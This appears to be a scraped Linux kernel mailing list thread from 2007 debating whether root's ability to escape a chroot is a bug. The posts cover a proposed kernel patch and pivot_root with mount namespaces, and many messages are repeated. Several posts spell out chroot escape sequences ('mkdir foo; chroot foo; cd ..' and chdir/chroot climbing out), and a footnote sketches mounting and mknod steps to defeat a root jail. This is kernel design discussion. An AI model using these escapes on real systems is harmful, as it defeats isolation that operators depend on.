Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. I read it. Currently pivot_root can't be used to affect a single process. No. If you unshare your mounts namespace immediately before pivot_root, then pivot_root will only affect that single process. Bugger. You're right, I didn't read your previous message; I thought I had but I was wrong. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); After further RTFMing, and assuming "any processes or threads which use the old root directory" means what you imply, and surely it does, then I agree: pivot_root already does the job. Does anybody still need to use a bug in chroot? - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): > Serge E. Hallyn wrote: >> Quoting David Newall ([EMAIL PROTECTED]): >> >>> It might be tidy if pivot_root could be used (instead of a hack based on >>> a chroot bug), but it'd still be unportable. >>> >> >> It can. >> >> Please re-read my previous msg. > > I read it. Currently pivot_root can't be used to affect a single process. No. If you unshare your mounts namespace immediately before pivot_root, then pivot_root will only affect that single process. > It can be modified; obviously. Maybe it should be, too, but is there a > need for that? -serge - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. I read it. Currently pivot_root can't be used to affect a single process. It can be modified; obviously. Maybe it should be, too, but is there a need for that? - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. I read it. Currently pivot_root can't be used to affect a single process. It can be modified; obviously. Maybe it should be, too, but is there a need for that? - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. I read it. Currently pivot_root can't be used to affect a single process. No. If you unshare your mounts namespace immediately before pivot_root, then pivot_root will only affect that single process. It can be modified; obviously. Maybe it should be, too, but is there a need for that? -serge - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): Serge E. Hallyn wrote: Quoting David Newall ([EMAIL PROTECTED]): It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. I read it. Currently pivot_root can't be used to affect a single process. No. If you unshare your mounts namespace immediately before pivot_root, then pivot_root will only affect that single process. Bugger. You're right, I didn't read your previous message; I thought I had but I was wrong. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); After further RTFMing, and assuming any processes or threads which use the old root directory means what you imply, and surely it does, then I agree: pivot_root already does the job. Does anybody still need to use a bug in chroot? - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Chroot bug (was: sys_chroot+sys_fchdir Fix)
Miloslav Semler pointed out that a root process can chdir(..) out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions. If there truly is a need to be able to pop in and out of a chroot, then the solution should be obvious, such as with real versus effective user and group ids. An important quality of a solution would be a way to fix that essential function: to set the root in such a way that you can no longer pop out. But that is a separate question. The question: is chroot buggy? I'm pleased to turn to SCO for an independent definition for chroot, from which I get the following: http://osr600doc.sco.com/en/man/html.S/chroot.S.html: The *..* entry in the root directory is interpreted to mean the root directory itself. Thus, *..* cannot be used to access files outside the subtree rooted at the root directory. I argue chroot is buggy. Miloslav's patch might not be the right solution, but he has the right idea (i.e. fix it.) - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
On Sep 26 2007 00:40, David Newall wrote: Miloslav Semler pointed out that a root process can chdir(..) out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions. So what? Just do this: chdir into the root after chroot. It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some sane standard ain't bad either. I doubt anyone really relies on the fact that after chroot, your cwd might be outside the root. Signed-off-by: Jan Engelhardt [EMAIL PROTECTED] --- fs/open.c |1 + 1 file changed, 1 insertion(+) Index: linux-2.6.23/fs/open.c === --- linux-2.6.23.orig/fs/open.c +++ linux-2.6.23/fs/open.c @@ -547,6 +547,7 @@ asmlinkage long sys_chroot(const char __ set_fs_root(current-fs, nd.mnt, nd.dentry); set_fs_altroot(); + set_fs_pwd(current-fs, nd.mnt, nd.dentry); error = 0; dput_and_out: path_release(nd); - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy Does it - I can't find any evidence for that. I think you are confusing containers and chroot. They are quite different things. A root user can get out of a chroot a million different ways Alan - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)
On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote: Miloslav Semler pointed out that a root process can chdir(..) out of its chroot. Although this is documented in the man page, it conflicts with the essential function, which is to change the root directory of the process. In addition to any creative uses, for example Philipp Marek's loading dynamic libraries, it seems clear that the prime purpose of chroot is to aid security. Being able to cd your way out is handy for the bad guys, but the good guys don't need it; there are a thousand better, safer solutions. ... The bad guys most likely also now other tricks to escape the chroot. If you are root in the chroot you can e.g. mount the partition with the root filesystem inside the chroot. If a bad guy becomes root inside a chroot it's game over. cu Adrian -- Is there not promise of rain? Ling Tan asked suddenly out of the darkness. There had been need of rain for many days. Only a promise, Lao Er said. Pearl S. Buck - Dragon Seed - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Alan Cox wrote: On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi [EMAIL PROTECTED] wrote: David Newall wrote: * In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20 =91mkdir foo; chroot foo; cd ..=92. No, he can not. The superuser can escape that way - its expected and fine behaviour Does not work for me, and that would be the EXACT thing chroot is supposed to prevent. Maybe you guys are thinking of a program that calls chroot() but leaves cwd outside the chroot still being able to navigate outside of it? - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Tue, Sep 25, 2007 at 04:53:00PM -0400, Phillip Susi wrote: Alan Cox wrote: On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi [EMAIL PROTECTED] wrote: David Newall wrote: * In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20 =91mkdir foo; chroot foo; cd ..=92. No, he can not. The superuser can escape that way - its expected and fine behaviour Does not work for me, and that would be the EXACT thing chroot is supposed to prevent. Maybe you guys are thinking of a program that calls chroot() but leaves cwd outside the chroot still being able to navigate outside of it? Oh, for fsck sake... Folks, it's standard-required behaviour. Ability to chroot() implies the ability to break out of it. Could we please add that (along with reference to SuS) to l-k FAQ and be done with that nonsense? If you are within chroot jail and capable of chroot(), you can chdir to its root, then chroot() to subdirectory and you've got cwd outside of your new root. After that you can chdir all way out to original root. Again, this is standard behaviour. Changing it will not yield any security improvements, so kindly give that a rest. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): > Serge E. Hallyn wrote: >> No reason for any new parameters to pivot_root. Just clone your mounts >> namespace first. >> >> unshare(CLONE_NEWNS); >> chdir(new_dir); >> pivot_root(new_dir, oldroot); >> >> Since pivot_root actually fiddles with the vfsmnts, this is really the >> only way to go about having it "work with just one process". > > I think the point is that, whereas we'd like to be able to pivot the root > for a single process, in practice this causes startup issues to which the > easy solution is to pivot the whole system. At least that's my reading of > the man page. > > It might be tidy if pivot_root could be used (instead of a hack based on a > chroot bug), but it'd still be unportable. Oh. Yes, true, it is unportable. -serge - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): > Serge E. Hallyn wrote: >> No reason for any new parameters to pivot_root. Just clone your mounts >> namespace first. >> >> unshare(CLONE_NEWNS); >> chdir(new_dir); >> pivot_root(new_dir, oldroot); >> >> Since pivot_root actually fiddles with the vfsmnts, this is really the >> only way to go about having it "work with just one process". > > I think the point is that, whereas we'd like to be able to pivot the root > for a single process, in practice this causes startup issues to which the > easy solution is to pivot the whole system. At least that's my reading of > the man page. > > It might be tidy if pivot_root could be used (instead of a hack based on a > chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. -serge - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Serge E. Hallyn wrote: No reason for any new parameters to pivot_root. Just clone your mounts namespace first. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it "work with just one process". I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page. It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): > Bill Davidsen wrote: >> there is no question that pivot_root is intended to have breadth for more >> than one process. > > I think it's clear from the man page that the original idea was to be able > to pivot_root for individual processes. The reason it doesn't do that, the > reason it affects all processes, is to work around the bootstrap problem, > where processes that don't care what their root (or current) directory is > are still using the original root. > > An extra parameter could be added to specify which behavior is desired, > probably defaulting to the current behavior. That would remove the need to > use a chroot bug. No reason for any new parameters to pivot_root. Just clone your mounts namespace first. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it "work with just one process". -serge - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): Bill Davidsen wrote: there is no question that pivot_root is intended to have breadth for more than one process. I think it's clear from the man page that the original idea was to be able to pivot_root for individual processes. The reason it doesn't do that, the reason it affects all processes, is to work around the bootstrap problem, where processes that don't care what their root (or current) directory is are still using the original root. An extra parameter could be added to specify which behavior is desired, probably defaulting to the current behavior. That would remove the need to use a chroot bug. No reason for any new parameters to pivot_root. Just clone your mounts namespace first. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it work with just one process. -serge - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Serge E. Hallyn wrote: No reason for any new parameters to pivot_root. Just clone your mounts namespace first. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it work with just one process. I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page. It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): Serge E. Hallyn wrote: No reason for any new parameters to pivot_root. Just clone your mounts namespace first. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it work with just one process. I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page. It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. It can. Please re-read my previous msg. -serge - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Quoting David Newall ([EMAIL PROTECTED]): Serge E. Hallyn wrote: No reason for any new parameters to pivot_root. Just clone your mounts namespace first. unshare(CLONE_NEWNS); chdir(new_dir); pivot_root(new_dir, oldroot); Since pivot_root actually fiddles with the vfsmnts, this is really the only way to go about having it work with just one process. I think the point is that, whereas we'd like to be able to pivot the root for a single process, in practice this causes startup issues to which the easy solution is to pivot the whole system. At least that's my reading of the man page. It might be tidy if pivot_root could be used (instead of a hack based on a chroot bug), but it'd still be unportable. Oh. Yes, true, it is unportable. -serge - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi <[EMAIL PROTECTED]> wrote: > David Newall wrote: > > * In particular, the superuser can escape from a =91chroot jail=92 by d= > > oing=20 > > =91mkdir foo; chroot foo; cd ..=92. > > No, he can not. The superuser can escape that way - its expected and fine behaviour - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
David Newall wrote: * In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20 =91mkdir foo; chroot foo; cd ..=92. No, he can not. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Bill Davidsen wrote: there is no question that pivot_root is intended to have breadth for more than one process. I think it's clear from the man page that the original idea was to be able to pivot_root for individual processes. The reason it doesn't do that, the reason it affects all processes, is to work around the bootstrap problem, where processes that don't care what their root (or current) directory is are still using the original root. An extra parameter could be added to specify which behavior is desired, probably defaulting to the current behavior. That would remove the need to use a chroot bug. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Bill Davidsen wrote: there is no question that pivot_root is intended to have breadth for more than one process. I think it's clear from the man page that the original idea was to be able to pivot_root for individual processes. The reason it doesn't do that, the reason it affects all processes, is to work around the bootstrap problem, where processes that don't care what their root (or current) directory is are still using the original root. An extra parameter could be added to specify which behavior is desired, probably defaulting to the current behavior. That would remove the need to use a chroot bug. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
David Newall wrote: * In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20 =91mkdir foo; chroot foo; cd ..=92. No, he can not. - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Fri, 21 Sep 2007 13:39:34 -0400 Phillip Susi [EMAIL PROTECTED] wrote: David Newall wrote: * In particular, the superuser can escape from a =91chroot jail=92 by d= oing=20 =91mkdir foo; chroot foo; cd ..=92. No, he can not. The superuser can escape that way - its expected and fine behaviour - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
David Newall wrote: Philipp Marek wrote: AFAIK pivot_root() changes the / mapping for *all* processes, no? The manual page is confusing. It even admits to being "intentionally vague". However the goal seems clear: "pivot_root() moves the root file system of the current process to the directory put_old and makes new_root the new root file system of the current process" -- man 2 pivot_root There's an argument that pivot_root could be improved... And very little argument that the man page could be improved, perhaps. However, there is no question that pivot_root is intended to have breadth for more than one process. Keeping this functionality sounds a little like putting a bow tie and tux on your bug and calling it a "feature." Not all bugs are useless for legitimate purposes, but it doesn't make them safe. It appears to be a sort-of way to get per-process bind mounts. -- bill davidsen <[EMAIL PROTECTED]> CTO TMR Associates, Inc Doing interesting things with small computers since 1979 - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Philipp Marek wrote: AFAIK pivot_root() changes the / mapping for *all* processes, no? The manual page is confusing. It even admits to being "intentionally vague". However the goal seems clear: "pivot_root() moves the root file system of the current process to the directory put_old and makes new_root the new root file system of the current process" -- man 2 pivot_root There's an argument that pivot_root could be improved... - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thursday 20 September 2007 David Newall wrote: > Philipp Marek wrote: > > - User starts a small wrapper, > > - that opens "/", > > - chroot()s into a directory and starts fsvs. > > - fsvs gets its libraries loaded > > - and chroot()s back to the original system. > > Isn't that what pivot_root was meant for? AFAIK pivot_root() changes the / mapping for *all* processes, no? I just wanted to give *this* single process completely new library paths, even for delay-loaded things (like libnss) ... Regards, Phil -- Versioning your /etc, /home or even your whole installation? Try fsvs (fsvs.tigris.org)! - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Philipp Marek wrote: - User starts a small wrapper, - that opens "/", - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Isn't that what pivot_root was meant for? - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Philipp Marek napsal(a): Please, everybody, don't change that. I'm currently using that *feature* (yes, I see it as that) in my fsvs-chrooter-utility (see http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html) for easier usage of fsvs on older systems. - User starts a small wrapper, - that opens "/", - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Voila! fsvs can use the newest available libraries for that architecture, without having to change the installed system. So I thing this is an example how chroot would not be really used. For DSO loading there is many better ways to load own DSO. Though is this feature described in chroot() manpage, I have not noticed that any serious project uses it. But ok, this is a ferature of chroot(). Also FreeBSD does not support escaping chroot AFAIK. So this feature is very badly portable. Miloslav - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Please, everybody, don't change that. I'm currently using that *feature* (yes, I see it as that) in my fsvs-chrooter-utility (see http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html) for easier usage of fsvs on older systems. - User starts a small wrapper, - that opens "/", - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Voila! fsvs can use the newest available libraries for that architecture, without having to change the installed system. Please, keep that feature - as already mentioned, UID 0 is required anyway, and such processes can get out of (nearly) anything. Regards, Phil -- Versioning your /etc, /home or even your whole installation? Try fsvs (fsvs.tigris.org)! - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
David Newall <[EMAIL PROTECTED]> wrote:
>> Normal users cannot use chroot() themselves so they can't use chroot to
>> get back out
>
> I think Bill is right, that this is to fix a method that non-root
> processes can use to escape their chroot. The exploit, which is
> documented in chroot(2)*, is to chdir("..") your way out. Who'd have
> thought it? Only root can do that, but even that seems wrong. Chroot
> should be chroot and that should be the end of it.
chroot with having open directories outside the chroot is a convenience
feature, allowing e.g. to install programs into a different root while
opening the archives from another root tree. Only if there is a working
capability system preventing root from accessing the hardware*, a chroot
may become a security feature.
Off cause having the new fchdir, you might run "chroot /var/foo 3< /" in
order to pass a dir filehandle and compromise your own security, but this
is nothin a system should protect against.
The only problem I'm concerned about is passing a file descriptor to a
privileged, compromised process using an abstract unix socket. This combines
two different privileges, possibly increasing the impact of the attack.
I think it may be enough to not allow passing directory fds if the two
processes have different device/inode/namespace, but I'm not sure about
device fds.
*) chmod u+s binary; su nobody; exec binary; mount tmpfs /; mknod dev_mem
should be enough to void most root-in-chroot setups. Very untested.
--
Funny quotes:
26. If you take an Oriental person and spin him around several times, does he
become disoriented?
Friß, Spammer: [EMAIL PROTECTED] [EMAIL PROTECTED]
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to [EMAIL PROTECTED]
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
David Newall [EMAIL PROTECTED] wrote: Normal users cannot use chroot() themselves so they can't use chroot to get back out I think Bill is right, that this is to fix a method that non-root processes can use to escape their chroot. The exploit, which is documented in chroot(2)*, is to chdir(..) your way out. Who'd have thought it? Only root can do that, but even that seems wrong. Chroot should be chroot and that should be the end of it. chroot with having open directories outside the chroot is a convenience feature, allowing e.g. to install programs into a different root while opening the archives from another root tree. Only if there is a working capability system preventing root from accessing the hardware*, a chroot may become a security feature. Off cause having the new fchdir, you might run chroot /var/foo 3 / in order to pass a dir filehandle and compromise your own security, but this is nothin a system should protect against. The only problem I'm concerned about is passing a file descriptor to a privileged, compromised process using an abstract unix socket. This combines two different privileges, possibly increasing the impact of the attack. I think it may be enough to not allow passing directory fds if the two processes have different device/inode/namespace, but I'm not sure about device fds. *) chmod u+s binary; su nobody; exec binary; mount tmpfs /; mknod dev_mem should be enough to void most root-in-chroot setups. Very untested. -- Funny quotes: 26. If you take an Oriental person and spin him around several times, does he become disoriented? Friß, Spammer: [EMAIL PROTECTED] [EMAIL PROTECTED] - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Please, everybody, don't change that. I'm currently using that *feature* (yes, I see it as that) in my fsvs-chrooter-utility (see http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html) for easier usage of fsvs on older systems. - User starts a small wrapper, - that opens /, - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Voila! fsvs can use the newest available libraries for that architecture, without having to change the installed system. Please, keep that feature - as already mentioned, UID 0 is required anyway, and such processes can get out of (nearly) anything. Regards, Phil -- Versioning your /etc, /home or even your whole installation? Try fsvs (fsvs.tigris.org)! - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Philipp Marek napsal(a): Please, everybody, don't change that. I'm currently using that *feature* (yes, I see it as that) in my fsvs-chrooter-utility (see http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html) for easier usage of fsvs on older systems. - User starts a small wrapper, - that opens /, - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Voila! fsvs can use the newest available libraries for that architecture, without having to change the installed system. So I thing this is an example how chroot would not be really used. For DSO loading there is many better ways to load own DSO. Though is this feature described in chroot() manpage, I have not noticed that any serious project uses it. But ok, this is a ferature of chroot(). Also FreeBSD does not support escaping chroot AFAIK. So this feature is very badly portable. Miloslav - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Philipp Marek wrote: - User starts a small wrapper, - that opens /, - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Isn't that what pivot_root was meant for? - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
On Thursday 20 September 2007 David Newall wrote: Philipp Marek wrote: - User starts a small wrapper, - that opens /, - chroot()s into a directory and starts fsvs. - fsvs gets its libraries loaded - and chroot()s back to the original system. Isn't that what pivot_root was meant for? AFAIK pivot_root() changes the / mapping for *all* processes, no? I just wanted to give *this* single process completely new library paths, even for delay-loaded things (like libnss) ... Regards, Phil -- Versioning your /etc, /home or even your whole installation? Try fsvs (fsvs.tigris.org)! - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
Philipp Marek wrote: AFAIK pivot_root() changes the / mapping for *all* processes, no? The manual page is confusing. It even admits to being intentionally vague. However the goal seems clear: pivot_root() moves the root file system of the current process to the directory put_old and makes new_root the new root file system of the current process -- man 2 pivot_root There's an argument that pivot_root could be improved... - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: sys_chroot+sys_fchdir Fix
